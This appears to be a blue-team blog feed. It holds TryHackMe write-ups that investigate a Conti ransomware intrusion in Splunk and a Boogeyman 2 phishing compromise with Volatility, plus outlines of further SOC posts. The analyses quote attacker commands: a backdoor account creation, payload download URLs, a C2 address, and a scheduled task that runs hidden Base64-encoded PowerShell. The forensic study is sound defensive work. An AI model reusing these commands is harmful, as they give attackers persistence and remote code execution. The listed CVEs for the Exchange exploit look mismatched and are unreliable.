Rather than focusing on theory, the course emphasizes operational thinking, investigation workflows, and practical defensive skills. It strengthened my understanding of SIEM investigations, event correlation, phishing analysis, DFIR procedures, cloud security investigations, and SOC methodology while also exposing me to more advanced defensive concepts.

Most importantly, the course consistently encourages students to think like analysts rather than simply follow predefined steps.

For aspiring SOC analysts who already understand the fundamentals of IT and cybersecurity and want practical, investigation-oriented training, CCDL1 (Certified CyberDefender Level 1) is an excellent next step toward real-world blue team work.

SOC Alert: Conti Ransomware Investigation

Thu, 21 May 2026 12:01:35 +0000

SOC Alert Reporting: Conti Ransomware Investigation Using Splunk

Simulating Real-World SOC Triage, Threat Hunting, and Incident Reporting Through a Conti Ransomware Investigation

What This Investigation Covers

Ransomware deployment analysis
Web shell investigation
Process injection detection
Credential dumping activity
Persistence mechanisms
Splunk SIEM investigation
Sysmon telemetry analysis
Incident timeline reconstruction
SOC alert triage and escalation

Introduction

This article is part of a new series focused on solving cybersecurity scenarios using a workflow that closely resembles real-world SOC operations.

Instead of answering each challenge question directly, I approach every task as if it were a genuine SOC alert appearing in a SIEM platform during an active investigation. The goal is not only to identify the answer, but also to demonstrate the analytical thinking, triage methodology, investigation workflow, and reporting standards expected from a Security Analyst.

In real SOC environments, alerts usually include contextual information such as timestamps, affected assets, severity classification, telemetry sources, and detection logic. Since challenge rooms do not always provide this level of operational context, I enrich each alert with additional information gathered throughout the investigation using Splunk, Sysmon telemetry, Windows Security Logs, and threat intelligence validation.

For each alert, I will:

Build a structured SOC alert report
Investigate surrounding activity and attacker behavior
Correlate telemetry from multiple log sources
Document findings using analyst-style reporting
Map attacker actions to MITRE ATT&CK techniques
Include escalation decisions and remediation recommendations
Construct a complete incident timeline

This approach allows me to practice not only technical investigation skills, but also the communication, escalation, documentation, and contextual analysis capabilities expected in real Security Operations Center and Incident Response environments.

The investigation below focuses on a Conti ransomware intrusion affecting a Microsoft Exchange server. Scenario, data and initial questions are based on TryHackMe’s Conti Room.

Tools and Telemetry Used

Splunk SIEM
Sysmon Operational Logs
Windows Security Event Logs
VirusTotal
MITRE ATT&CK Framework
IIS / Exchange Telemetry
Threat Intelligence Research

Scenario

I started this investigation using a Splunk instance containing the ingested logs related to the incident.

Several employees reported that they could not log into Outlook. Shortly afterward, the Exchange administrator also reported being unable to access the Exchange Admin Center (EAC). During initial triage, ransomware readme files were discovered on the Exchange server.

Alert 1 — Suspected Ransomware Binary Dropped on Exchange Server

Severity: Critical

SOC Report

Summary

Endpoint telemetry detected the creation and execution of a suspicious executable on the Exchange server, followed by widespread deployment of ransomware note files across multiple directories.

Timestamps

Suspicious executable creation: 2021-09-08 19:59:08.045 UTC
Suspicious executable execution: 2021-09-08 20:05:32.431 UTC
First ransom note creation detected: 2021-09-08 20:05:45.887 UTC

Detection Source

Microsoft-Windows-Sysmon/Operational

Affected Asset

WIN-AOQKG2AS2Q7.bellybear.local

User

NOT_TRANSLATED

Description

A suspicious executable impersonating the legitimate Windows cmd.exe binary was identified in an abnormal location within the Administrator user’s Documents directory.

Shortly after execution, the binary initiated mass creation of readme.txt files across multiple system folders, behavior highly consistent with ransomware deployment activity.

Technical Analysis

Confirmed creation of a suspicious executable named cmd.exe located at:
```
C:\Users/Administrator/Documents/cmd.exe
```
The executable was created by unsecapp.exe, a legitimate Windows component commonly abused in Living-off-the-Land Binary (LOLBin) techniques involving WMI operations.
Confirmed execution of the malicious cmd.exe process at 2021-09-08 20:05:32.431 UTC.
Observed rapid creation of 18 readme.txt ransom notes distributed across multiple directories immediately after execution.
Retrieved the file hash from Sysmon telemetry and validated it using VirusTotal, confirming the file as malicious ransomware.
Activity observed is consistent with ransomware staging and deployment behavior following privilege escalation and persistence establishment.

MITRE ATT&CK Mapping

T1047 — Windows Management Instrumentation
T1036 — Masquerading
T1486 — Data Encrypted for Impact

Findings

True Positive — Malicious ransomware activity confirmed

Actions Taken

Investigated process lineage associated with the suspicious executable
Identified related file creation activity
Collected file hash for threat intelligence validation
Correlated execution timeline with ransomware note deployment
Escalated the incident for containment and response

Escalation

Escalated to L2 SOC / Incident Response Team

Recommendations

Immediately isolate the affected Exchange server from the network
Acquire forensic images and volatile memory from the host
Block identified hashes and indicators across EDR and SIEM platforms
Reset privileged credentials potentially exposed during compromise
Review Exchange server exposure and patch management
Conduct an enterprise-wide IoC sweep for related activity

Analyst Investigation

Query used #1

index=* EventCode=11 Readme
| table UtcTime, Image, TargetFilename
| sort UtcTime

This query provided visibility into Sysmon File Create events (EventCode=11) related to files containing the term Readme.

The query displayed:

UtcTime → event chronology
Image → process responsible for file creation
TargetFilename → full path of created files

The results immediately revealed suspicious activity involving a file impersonating cmd.exe, but located within the Administrator Documents folder rather than the legitimate Windows system directory.

Additionally, the executable was responsible for creating multiple readme.txt files across several system locations, behavior strongly associated with ransomware note deployment.

Full details of the first readme.txt creation event:

Query used #2

index=* EventCode=1 Image="C:\\Users\\Administrator\\Documents\\cmd.exe" 
| table Image, Hashes

This query searched for Sysmon Process Creation events (EventCode=1) related to the suspicious executable, returning the image path and the file hashes.

Full details of the execution event:

VirusTotal validation results:

Query used #3

index=* EventCode=11 cmd.exe
| table UtcTime, Image, TargetFilename
| sort UtcTime

To identify the origin of the malicious executable, I searched for Sysmon file creation events involving cmd.exe.

The query returned the process responsible for writing the file to disk.

The results showed unsecapp.exe creating the suspicious executable shortly before ransomware deployment activity began.

This behavior strongly suggests abuse of a trusted Windows binary to stage malware execution while attempting to evade detection through LOLBin techniques.

Full details of the file creation event:

***

Alert 2 — Unauthorized Local User Creation Detected

Severity: Critical

Original Question

What was the command the attacker used to add a new user to the compromised system?

SOC Report

Summary

Endpoint telemetry detected command execution associated with unauthorized local account creation and privilege escalation activity.

Timestamp

2021-09-08 20:04:10.692 UTC

Detection Source

Microsoft-Windows-Sysmon/Operational

Affected Asset

WIN-AOQKG2AS2Q7.bellybear.local

User

NOT_TRANSLATED

Description

A net user command was executed to create a suspicious local account shortly before ransomware execution.

Subsequent commands added the account to privileged groups, indicating the attacker was establishing persistence and administrative access.

Technical Analysis

Identified execution of the following command:
```
net user /add securityninja hardToHack123$
```

Additional commands added the newly created user to privileged groups:

net localgroup administrators securityninja /add
net localgroup "Remote Desktop Users" securityninja /add

Confirmed successful account creation through Windows Security Event ID 4720
Confirmed successful group membership modification through Security Event IDs associated with privileged group additions
The account naming convention and timing strongly suggest attacker-created persistence

MITRE ATT&CK Mapping

T1136.001 — Create Account: Local Account
T1098.007 — Additional Local or Domain Groups

Findings

True Positive — Unauthorized persistence and privilege escalation activity confirmed

Actions Taken

Correlated Sysmon and Windows Security events
Verified successful account creation
Verified privileged group assignment
Documented persistence mechanisms established by the attacker
Escalated to Incident Response

Escalation

Escalated to L2 SOC / Incident Response Team

Recommendations

Disable and remove unauthorized accounts immediately
Audit all privileged group memberships
Reset credentials for affected administrative accounts
Review remote access policies and RDP exposure
Investigate the host for additional persistence mechanisms

Analyst Investigation

Query used #1

index=* EventCode=1 CommandLine=* NOT splunk*
| table UtcTime, CommandLine
| sort UtcTime

This query returned process creation events containing command-line activity.

The results were displayed chronologically to identify suspicious administrative commands executed during the intrusion timeline.

Among the returned entries, commands containing the keywords user and add immediately stood out.

The command revealed that a new local account named securityninja had been created through the Windows net user utility.

Because attackers frequently create local administrator accounts to maintain persistence after initial access, this activity represented a critical escalation point in the attack chain.

To verify whether the command successfully created the account, I pivoted to Windows Security Logs and searched for Event ID 4720 (User Account Created).

Query used #2

index=* EventCode=4720
| table UtcTime, Account_Name, Account_expires, Keywords, ComputerName

The event confirmed successful creation of the securityninja account.

Full event details:

To validate successful privilege escalation activity, I then investigated security group modification events 4728.

Query used #3

index=* EventCode=4728
| table Time, Account_Name, Group_Domain, Keywords, ComputerName, TaskCategory

Because the timestamp field was not automatically parsed correctly in some logs, I extracted and normalized the relevant fields within Splunk to improve timeline visibility and event correlation.

The results confirmed the user was successfully added to privileged groups on the affected Exchange server.

Complete event details:

Alert 3 — Suspicious Process Migration Observed

Severity: Critical

Original Question

The attacker migrated the process for better persistence. What is the migrated process image (executable), and what is the original process image (executable) when the attacker got on the system?

SOC Report

Summary

Sysmon telemetry identified process injection activity consistent with attacker process migration techniques used for stealth and defense evasion.

Timestamp

2021-09-08 19:54:12.665 UTC

Detection Source

Microsoft-Windows-Sysmon/Operational

Affected Asset

WIN-AOQKG2AS2Q7.bellybear.local

Description

The attacker migrated execution from PowerShell into unsecapp.exe, a legitimate Windows process associated with WMI operations.

This technique is commonly used to blend malicious activity into trusted system processes and evade security monitoring.

Technical Analysis

Identified Sysmon CreateRemoteThread event (EventCode=8) showing process injection activity

Source process:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Target process:
```
C:\Windows\System32\wbem\unsecapp.exe
```
Subsequent investigation revealed unsecapp.exe later participated in malware staging and credential theft activity.

MITRE ATT&CK Mapping

T1055 — Process Injection

Findings

True Positive — Malicious process injection activity confirmed

Actions Taken

Correlated injection activity with later malicious process execution
Identified LOLBin abuse involving WMI-related processes
Expanded the investigation into subsequent child process activity
Escalated the incident to Incident Response

Escalation

Escalated to L2 SOC / Incident Response Team

Recommendations

Investigate PowerShell logging and script block activity
Enable advanced PowerShell logging if not already configured
Monitor CreateRemoteThread events across critical infrastructure
Implement behavioral EDR detections for process injection patterns

Analyst Investigation

Query used

index=* EventCode=8
| table UtcTime, SourceImage, TargetImage
| sort UtcTime

To identify process migration activity, I searched for Sysmon CreateRemoteThread events.

These events are commonly associated with process injection and code migration techniques.

The results revealed PowerShell injecting into unsecapp.exe, a trusted Windows process commonly associated with WMI functionality.

This strongly indicated an attempt to evade detection through LOLBin abuse and trusted process execution.

Complete event details:

Alert 4 — Credential Dumping Activity Detected

Severity: Critical

Original Question

The attacker also retrieved the system hashes. What is the process image used for getting the system hashes?

SOC Report

Summary

Telemetry identified attacker interaction with lsass.exe, behavior commonly associated with credential dumping and credential access activity.

Timestamp

2021-09-08 19:55:30.770 UTC

Detection Source

Microsoft-Windows-Sysmon/Operational

Affected Asset

WIN-AOQKG2AS2Q7.bellybear.local

Description

Process injection activity targeting lsass.exe was identified shortly after compromise escalation activity involving unsecapp.exe.

Because lsass.exe stores authentication material in memory, it is a common target for credential dumping operations.

Technical Analysis

Confirmed process injection from:

C:\Windows\System32\wbem\unsecapp.exe

to:

C:\Windows\System32\lsass.exe

Activity occurred at 2021-09-08 19:55:30.770 UTC
Behavior strongly aligns with credential theft operations used to obtain password hashes and authentication material
The attack chain progression suggests the threat actor was attempting to harvest credentials before ransomware deployment

MITRE ATT&CK Mapping

T1055 — Process Injection
T1003.001 — OS Credential Dumping: LSASS Memory

Findings

True Positive — Credential dumping activity confirmed

Actions Taken

Investigated LSASS-related telemetry
Correlated process injection activity with prior compromise stages
Documented credential access behavior
Escalated the incident for containment and credential reset procedures

Escalation

Escalated to L2 SOC / Incident Response Team

Recommendations

Reset all potentially exposed credentials
Investigate potential lateral movement activity
Enable LSASS protection where operationally feasible
Monitor for abnormal access to sensitive system processes
Review privileged authentication activity following the compromise

Analyst Investigation

Query used

index=* "C:\\Windows\\System32\\lsass.exe"

I searched for events involving lsass.exe, a common target for credential dumping activity on Windows systems.

The search returned two relevant events.

One of them revealed process injection activity from unsecapp.exe into lsass.exe.

Because attackers frequently target LSASS memory to extract NTLM hashes, Kerberos tickets, and plaintext credentials, this event represented a strong indicator of credential access activity.

Complete event details:

This same activity was also visible during the earlier investigation into Sysmon EventCode=8 process injection events.

Alert 5 — Web Shell Deployed to Exchange Infrastructure

Severity: Critical

Original Questions

What is the web shell the exploit deployed to the system?
What is the command line that executed this web shell?

SOC Report

Summary

A suspicious ASPX file consistent with web shell deployment activity was identified within the Microsoft Exchange web application directory.

Timestamp

2021-09-08 19:52:09.748 UTC

Detection Source

Microsoft-Windows-Sysmon/Operational

Affected Asset

WIN-AOQKG2AS2Q7.bellybear.local

Description

A suspicious .aspx file located inside the Exchange HttpProxy directory was modified using attrib.exe, a legitimate Windows utility frequently abused by attackers.

The file path and extension strongly suggest deployment of a web shell used for remote command execution and persistence.

Technical Analysis

Identified suspicious command execution involving:

attrib.exe -r \\win-aoqkg2as2q7.bellybear.local\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\i3gfPctK1c2x.aspx

Web shell identified:
```
i3gfPctK1c2x.aspx
```
Observed HTTP POST requests involving the web shell between: 2021-09-08 19:51:36 UTC and 2021-09-08 19:51:50 UTC
Detected successful HTTP 200 responses and redirect 302 responses associated with the file
Investigated related w3wp.exe activity and identified behavior associated with Metasploit exploitation targeting IIS worker processes
Earliest related activity observed:2021-09-08 19:30:23.198 UTC

MITRE ATT&CK Mapping

T1505.003 — Web Shell
T1190 — Exploit Public-Facing Application

Findings

True Positive — Exchange web shell deployment confirmed

Actions Taken

Investigated web-accessible file modifications
Correlated HTTP activity with IIS worker process telemetry
Identified potential Metasploit-related exploitation activity
Escalated the incident for containment and forensic review

Escalation

Escalated to L2 SOC / Incident Response Team

Recommendations

Immediately isolate the Exchange server
Remove malicious web shell artifacts
Patch vulnerable Exchange infrastructure
Review IIS logs for additional attacker activity
Rotate all administrative and service account credentials
Conduct a full compromise assessment for persistence mechanisms

Analyst Investigation

Query used

index=* EventCode=1 CommandLine=* NOT splunk*
| table UtcTime, CommandLine, Image
| sort UtcTime

I searched for suspicious command-line activity occurring during the intrusion timeframe.

One result immediately stood out: usage of the LOLBin attrib.exe to remove the read-only attribute from an ASPX file located within the Exchange HttpProxy directory.

The file path strongly suggested deployment or modification of a web shell.

Complete event details:

Investigating the web shell activity

Related activity involving i3gfPctK1c2x.aspx:

HTTP 200 responses:

HTTP 302 responses:

Unhandled exception event also involving w3wp.exe:

Search results related to w3wp.exe activity:

Reviewing the process activity revealed multiple events commonly associated with exploitation frameworks such as Metasploit interacting with Exchange infrastructure.

Because w3wp.exe is responsible for handling IIS web application requests, it is frequently targeted during exploitation of public-facing Microsoft Exchange vulnerabilities and web shell deployment.

Details of the first observed Metasploit-related event:

Original Question

What three CVEs did this exploit leverage? Provide the answer in ascending order.

Analyst Investigation

This question required additional threat intelligence research.

Researching known Conti intrusion chains and associated exploitation activity revealed the following CVEs:

CVE-2018-13374
CVE-2018-13379
CVE-2020-0796

Incident Timeline

2021–09–08 19:30:23.198 UTC — First observed Metasploit-related connection involving w3wp.exe2021-09-08 19:51:36 - 19:51:50 UTC — Web shell communication activity involving i3gfPctK1c2x.aspx2021-09-08 19:52:09.748 UTC — Web shell modification activity detected
2021-09-08 19:54:12.665 UTC — PowerShell injected into unsecapp.exe2021-09-08 19:55:30.770 UTC — unsecapp.exe injected into lsass.exe2021-09-08 19:59:08.045 UTC — Malicious cmd.exe written to Administrator Documents folder
2021-09-08 20:04:10.692 UTC — Unauthorized securityninja account created
2021-09-08 20:04:10 UTC — securityninja added to privileged groups
2021-09-08 20:05:32.431 UTC — Malicious cmd.exe executed
2021-09-08 20:05:45.887 UTC — First ransomware note readme.txt created

Key Detection Opportunities

During this investigation, several opportunities for earlier detection became apparent:

Detection of suspicious ASPX file creation within Exchange web directories
Monitoring Sysmon Event ID 8 (CreateRemoteThread) for process injection behavior
Alerting on executable files launched from user profile directories
Detecting LOLBin abuse involving unsecapp.exe and attrib.exe
Monitoring unauthorized privileged group modifications
Detecting suspicious local account creation
Identifying mass file creation behavior associated with ransomware deployment

Skills Demonstrated

This investigation demonstrates practical application of:

SIEM investigation using Splunk
Sysmon log analysis
Windows Security Event Log analysis
Threat hunting methodology
IOC identification and validation
MITRE ATT&CK mapping
Process injection analysis
Web shell investigation
Ransomware behavioral analysis
Incident timeline reconstruction
SOC alert triage and escalation
Incident documentation and reporting

Conclusion

This investigation demonstrated how multiple stages of a ransomware intrusion can be reconstructed through effective SIEM analysis and telemetry correlation.

By approaching each challenge question as a real SOC alert rather than simply extracting answers, the investigation became significantly closer to workflows used in operational Security Operations Centers.

Correlating process injection activity, credential dumping, persistence establishment, web shell deployment, and ransomware execution allowed the full attack chain to be documented from initial compromise through impact.

Investigating a Phishing Attack with Volatility and Olevba | TryHackMe Boogeyman 2

Wed, 13 May 2026 08:01:35 +0000

Investigating a Phishing Attack with Volatility and Olevba | TryHackMe Boogeyman 2

A hands-on DFIR walkthrough covering phishing analysis, malicious macros, memory forensics, C2 investigation, and persistence detection.

Scenario

This investigation focuses on a phishing attack targeting Maxine, a company employee who unknowingly executed a malicious attachment disguised as a legitimate Word document.

Given this, you are tasked to perform a forensic investigation of the compromise.

This TryHackMe room provides valuable hands-on experience in:

Phishing email analysis
Malware macro inspection
Memory forensics with Volatility 3
Process and network investigation
Persistence detection
Threat hunting techniques

Artefacts Provided

Copy of the phishing email
Memory dump of the victim’s workstation

Tools Used

Volatility 3
Olevba
strings
grep
md5sum

Question 1:

What email was used to send the phishing email?

Process:

I opened the phishing email using a text editor to inspect the raw email headers and metadata manually.

Email headers are often one of the first areas analyzed during phishing investigations because they can reveal sender information, spoofing attempts, and suspicious infrastructure.

I inspected the From field inside the email headers, which revealed the sender’s email address.

Answer:

westaylor23@outlook.com

Question 2:

What is the email of the victim employee?

Process:

While still analyzing the email headers from the same phishing message, I examined the To field to identify the intended recipient.

Reviewing recipient information helps confirm which user account received and interacted with the malicious email.

Answer:

maxine.beck@quicklogisticsorg.onmicrosoft.com

Question 3:

What is the name of the attached malicious document?

Process:

Continuing the inspection of the raw email contents, I searched for attachment-related metadata entries.

Attachment details are commonly stored inside Content-Disposition fields, which often contain filenames and file metadata.

I located the following entry:

Content-Disposition: attachment; filename="Resume_WesleyTaylor.doc"; size=64000

This revealed the name of the malicious attachment delivered through the phishing email.

Answer:

Resume_WesleyTaylor.doc

Question 4:

What is the MD5 hash of the malicious attachment?

Process:

To analyze the malicious document further, I opened the phishing email using the forensic VM’s email client and downloaded the attachment locally.

I then used md5sum to calculate the MD5 hash of the file.

Hashing files is a standard forensic step because hashes help verify integrity and identify known malware samples across investigations.

md5sum '/home/ubuntu/Desktop/Artefacts/Resume_WesleyTaylor.doc'

Answer:

52c4384a0b9e248b95804352ebec6c5b

Question 5:

What URL is used to download the stage 2 payload based on the document’s macro?

Process:

To investigate the document further, I opened the attachment using LibreOffice Writer and navigated to:

Macros → Edit Macros

Inside the macro project structure under:

[Resume_WesleyTaylor.doc].Project

and later within:

Resume_WesleyTaylor.doc → Document Objects

I identified a suspicious macro containing an HTTP GET request that referenced an external URL used to retrieve the stage 2 payload.

Inspecting Office macros is important because attackers frequently abuse VBA macros to download payloads and execute malicious code.

Answer:

https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png

Question 6:

What is the name of the process that executed the newly downloaded stage 2 payload?

Process:

To analyze the embedded macros more efficiently, I used Olevba against the malicious attachment.

Olevba is useful during malware triage because it quickly highlights suspicious VBA behavior, embedded URLs, and potential execution mechanisms.

olevba '/home/ubuntu/Desktop/Artefacts/Resume_WesleyTaylor.doc'

The output revealed both the malicious download URL and the process responsible for executing the downloaded payload.

To confirm the process execution on the victim machine, I analyzed the memory dump using Volatility 3 and inspected command-line activity.

vol -f '/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw' windows.cmdline.CmdLine

Answer:

wscript.exe

Question 7:

What is the full file path of the malicious stage 2 payload?

Process:

From both the malicious macro analysis and the Volatility CmdLine results, I identified the location where the payload had been written before execution.

Malware commonly stages payloads in writable directories such as ProgramData, Temp, or AppData to avoid permission restrictions.

The command-line evidence showed that wscript.exe executed the downloaded JavaScript payload directly from disk.

Answer:

C:\ProgramData\update.js

Question 8:

What is the PID of the process that executed the stage 2 payload?

Process:

While reviewing the same Volatility CmdLine output, I identified the process responsible for executing the stage 2 payload along with its associated PID.

Process IDs are useful during investigations because they help correlate process execution, network connections, and parent-child relationships.

Answer:

4260

Question 9:

What is the parent PID of the process that executed the stage 2 payload?

Process:

To investigate the process hierarchy further, I used Volatility’s pstree plugin.

The pstree plugin is particularly useful because it visually maps parent-child process relationships and helps reconstruct malware execution chains.

I located the malicious wscript.exe process and identified its parent process ID from the process tree.

The hierarchy also showed that WINWORD.EXE spawned wscript.exe, confirming that the malicious Word document macro initiated the execution chain.

Answer:

1124

Question 10:

What URL is used to download the malicious binary executed by the stage 2 payload?

Process:

At this point, I wanted to identify whether the JavaScript payload downloaded an additional executable.

To search for additional indicators, I used strings against the memory dump and filtered the output using grep for references to the attacker-controlled domain identified earlier.

Searching memory strings can reveal useful indicators such as URLs, domains, commands, and file paths.

strings '/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw' | grep 'boogeymanisback'

The output revealed the full URL used to retrieve the malicious executable.

Answer:

https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe

Question 11:

What is the PID of the malicious process used to establish the C2 connection?

Process:

To continue reconstructing the attack chain, I used Volatility’s PsTree plugin to analyze spawned child processes.

The results showed that wscript.exe spawned updater.exe, which later spawned conhost.exe.

This type of process spawning behavior is commonly observed during malware execution chains.

To determine which process established external communications, I analyzed network connections using Volatility’s netscan plugin.

The netscan plugin is useful for identifying suspicious network connections and correlating them with running processes.

While reviewing the results, I observed that updater.exe with PID 6216 repeatedly communicated with the same external IP address over port 8080, strongly suggesting command-and-control activity.

Answer:

6216

Question 12:

What is the full file path of the malicious process used to establish the C2 connection?

Process:

After identifying updater.exe as the likely malicious process, I used Volatility’s FileScan plugin to search memory for cached file objects associated with the executable.

The FileScan plugin is useful for recovering references to files that may no longer be visible on disk but still exist within memory structures.

I filtered the results using grep to quickly locate references to the malicious executable.

Answer:

C:\Windows\Tasks\updater.exe

Question 13:

What is the IP address and port of the C2 connection initiated by the malicious binary? (Format: IP address:port)

Process:

To identify the exact command-and-control endpoint, I revisited the netscan results and focused specifically on the connections associated with the previously identified malicious PID.

Reviewing network connections alongside process activity helps correlate malware execution with external communications.

Answer:

128.199.95.189:8080

Question 14:

What is the full file path of the malicious email attachment based on the memory dump?

Process:

To confirm where the phishing attachment had been stored on the victim machine, I again used Volatility’s CmdLine plugin to inspect command-line activity associated with Microsoft Word.

Inspecting Office process activity can help identify malicious documents executed by users during phishing attacks.

I identified WINWORD.EXE referencing a file with the same name as the malicious attachment previously identified from the phishing email.

Answer:

C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc

Question 15:

The attacker implanted a scheduled task right after establishing the C2 callback. What is the full command used by the attacker to maintain persistent access?

Process:

At this stage of the investigation, I wanted to identify whether the attacker had established persistence mechanisms on the compromised workstation.

Scheduled tasks are commonly abused by attackers because they provide a reliable persistence mechanism across reboots and user sessions.

To search for evidence of persistence, I used strings against the memory dump and filtered the output using grep for references to schtasks.

strings '/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw' | grep 'schtasks'

The results revealed the exact command used to create the malicious scheduled task.

The command leveraged hidden PowerShell execution alongside a Base64-encoded payload stored within the Windows Registry.

Answer:

schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\"'

Key Investigation Findings

Throughout the investigation, I was able to:

Analyze phishing email headers and metadata
Extract and inspect a malicious Office document
Identify embedded VBA macro behavior
Trace the malware execution chain through memory analysis
Detect malicious process spawning activity
Identify command-and-control communications
Recover attacker infrastructure indicators
Detect persistence via scheduled tasks
Correlate process, network, and file activity using Volatility 3

Conclusion

This TryHackMe Boogeyman 2 room provided valuable hands-on experience investigating a phishing-driven malware compromise using memory forensics and macro analysis techniques.

By correlating evidence from email headers, malicious macros, process execution, network activity, and persistence mechanisms, I was able to reconstruct the attacker’s workflow and identify how the compromise progressed from initial phishing delivery to command-and-control communication.

For aspiring SOC analysts and DFIR practitioners, this room offers excellent practice in analyzing real-world attacker behavior using tools commonly encountered in incident response environments.

👨‍💻 Enjoyed this write-up?
If you found this investigation helpful and want to see more writeups, SOC investigations, and cybersecurity analysis, make sure to follow my RSS feed. I regularly share detailed breakdowns of real-world scenarios to help you strengthen your Blue Team and DFIR skills.

Citadel Cybersec

Building a Tier 1 SOC Dashboard in Splunk

Building a Tier 1 SOC Dashboard in Splunk

Designing an Operational Monitoring Dashboard for Authentication, Endpoint, Network, and Threat Hunting Visibility

Introduction

Why SOC Dashboards Matter

Planning the Dashboard Layout

Using a Search Macro

SOC Health

Total Events Received

Last Event Received from Each Reporting Host

Event Volume Over Time

Authentication Monitoring

Failed Logons Over Time

Accounts with Most Failed Logons

Failed Logons by Source IP

Kerberos Activity

Kerberos Activity Timeline

Top Kerberos Users

Most Requested Services

Administrative Share Access

Endpoint Activity

PowerShell Timeline

Top Executed Processes

Rare Processes

Network Activity

Network Connections Over Time

Top Destination IP Addresses

Connections to Domain Controller

Top Communication Pairs

Account and Source IP

Threat Hunting Views

Accounts Targeted from Multiple Source IPs

Failed Logons by Source Host

Failed Logons by Logon Type

Rare Parent–Child Process Relationships

Recently Created Processes

Normalising Data for Accurate Dashboards

Dashboard Filters and Drilldowns

Final Thoughts

What’s Next

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Investigating Lateral Movement and Authentication Activity in Active Directory Using Splunk

Correlating authentication events, Kerberos activity, SMB access, and blocked remote execution attempts in a hardened Active Directory lab environment

Introduction

Environment

1. Activity Simulation (Attacker Perspective)

1.1 Authentication Attempts

1.2 Kerberos Authentication Activity

1.3 Administrative Share Access (SMB)

1.4 Lateral Movement Attempts (Blocked Execution Paths)

PowerShell Remoting (WinRM)

WMI Remote Execution

Scheduled Task Execution

2. Detection Phase (SOC Investigation)

1.1 Failed Authentication Activity

1.2 Successful Authentication Activity

2.2 Kerberos Validation

2.3 SMB Access Validation

2.4 Lateral Movement Attempt Investigation (Scheduled Task Path)

2.4.1 Source-side execution validation

2.4.2 Target-side scheduled task creation validation

2.4.3 Task modification and lifecycle validation

2.4.4 Execution artifact validation

2.4.5 Target system validation

2.4.6 Investigation outcome

3. Investigation Summary

4. Findings

5. MITRE ATT&CK Mapping

Lessons Learned

Investigating Suspicious PowerShell Activity with Splunk

Investigating Suspicious PowerShell Activity with Splunk

Simulating common PowerShell abuse techniques and investigating endpoint telemetry in Splunk

Introduction

Environment

Activity Simulation

1. Encoded PowerShell Command

2. Hidden Window Execution

3. PowerShell Network Activity

Detection